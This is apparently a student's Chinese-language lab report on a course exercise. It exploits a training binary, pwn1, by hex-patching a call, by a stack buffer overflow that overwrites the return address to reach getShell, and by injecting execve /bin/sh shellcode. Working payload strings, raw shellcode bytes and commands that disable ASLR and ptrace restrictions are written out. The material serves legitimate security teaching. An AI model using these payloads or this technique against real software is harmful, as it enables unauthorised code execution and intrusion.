实践九 软件安全攻防–缓冲区溢出和shellcode
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
首先修改kali主机名为自己的姓名,更改/etc/hosts文件
在学习通上下载pwn1文件并更名为pwn20222807,首先运行该文件,可以看到该程序的作用是将输入的文本输出
使用objdump -d pwn20222807 | more对该文件进行反汇编
观察汇编代码,首先观察main函数的部分,main函数执行了调用foo函数的操作,foo实现上述的功能。
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
要将call语句的目标地址重定向为getshell函数实现攻击。观察main函数中的call语句,查阅资料可知call指令的机器码为e8,其后为要跳转地址的倒序。
call指令在编译后会把call所在位置为基址,然后把被call的位置的偏移地址给汇编成字节码,因此此处call的目的地址为80484ba+ffffffd7=8048491即foo函数的地址,需要使该地址改为804847d,也就需要将指令改为e8 c3 ff ff ff
输入cp pwn20222807 pwn20222807_1对文件进行备份,对pwn20222807_1文件进行修改:
输入:%!xxd来修改格式为十六进制
输入/d7查找并对比,找到了该命令所在的位置
将d7修改为c3,并输入:%!xxd -r返回原来的格式,最后输入:wq保存并退出。运行修改后的文件,发现程序的输出改为了getShell函数的功能
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
安装gdb
观察foo函数的汇编代码,可以看到foo函数在栈中预留了0x1c大小,即28个字节的缓冲区
缓冲区溢出攻击需要通过输入过长的字符来覆盖eip的内容使其变为getshell的地址。因为预留缓冲区28字节,EBP为4个字节,EIP为4个字节,需要构建一个至少36字节的字符串。
使用gdb调试程序,运行,输入构建的字符串cccccccjjjjjjjlllllllccccccc12345678,发现出现缓冲区溢出错误
此时输入info r查看寄存器信息,发现eip中的值为0x38373635,对照ascii表可知为“5678”即输入字符串的最后四个字符
目标函数getShell的地址为804847d,构建输入字符串为ccccccccjjjjjjjjllllllllcccccccc\x7d\x84\x04\x08\x0a,输入perl -e ‘print “ccccccccjjjjjjjjllllllllcccccccc\x7d\x84\x04\x08\x0a”’ > 20222807,将其生成十六进制字符串文件,输入xxd 20222807可以查看,最后输入(cat 20222807; cat) | ./pwn20222807,将其作为pwn20222807的输入,程序输出被修改为getShell函数的功能,攻击实现
(3)注入一个自己制作的shellcode并运行这段shellcode。
安装execstack
输入execstack -s pwn_20222807 设置堆栈可执行
参考其他博客,使用的shellcode为\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00
输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化。
首先需要找到程序存放shellcode的地址,输入perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > 20222807_shellcode构造输入串,然后输入(cat 20222807_shellcode;cat) | ./pwn20222807运行
打开另一个终端输入ps -ef | grep pwn20222807查看pwn20222807的进程号。可以看出进程号为6257。
进入gdb调试,输入attach 6202
输入disassemble foo,可以看到此时程序在80484ae处停止。
输入 break *0x080484ae 设置断点,输入c继续运行,同时在pwn20222807进程正在运行的那个界面点击回车,使其继续执行
返回gdb,输入info r esp查看栈顶指针所在位置,再输入x/16x 0xffffd6bc,可以看到值“01020304”的位置在0xffffd5ac。根据我们构造的shellcode可知retaddr地址应为0xffffd6bc +0x00000004=0xffffd6c0
输入perl -e ‘print “C” x 32;print “\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > 20222807_shellcode,并输入(cat 20222807_shellcode;cat) | ./pwn20222807运行
3.学习中遇到的问题及解决
-
问题1:在第三步进行gdb调试时,无法连接到进程
-
问题1解决方案:将/proc/sys/kernel/yama/ptrace_scope虚拟文件的内容设为0。
输入echo 0 > /proc/sys/kernel/yama/ptrace_scope
4.实践总结
本次实验主要对程序反汇编、堆栈知识以及栈溢出攻击等通过一个程序的攻击实例进行了实践,虽然较难,但通过本次实验我的实践能力得到了更大的提升
参考资料
- [《网络攻防技术与实践》诸葛建伟著]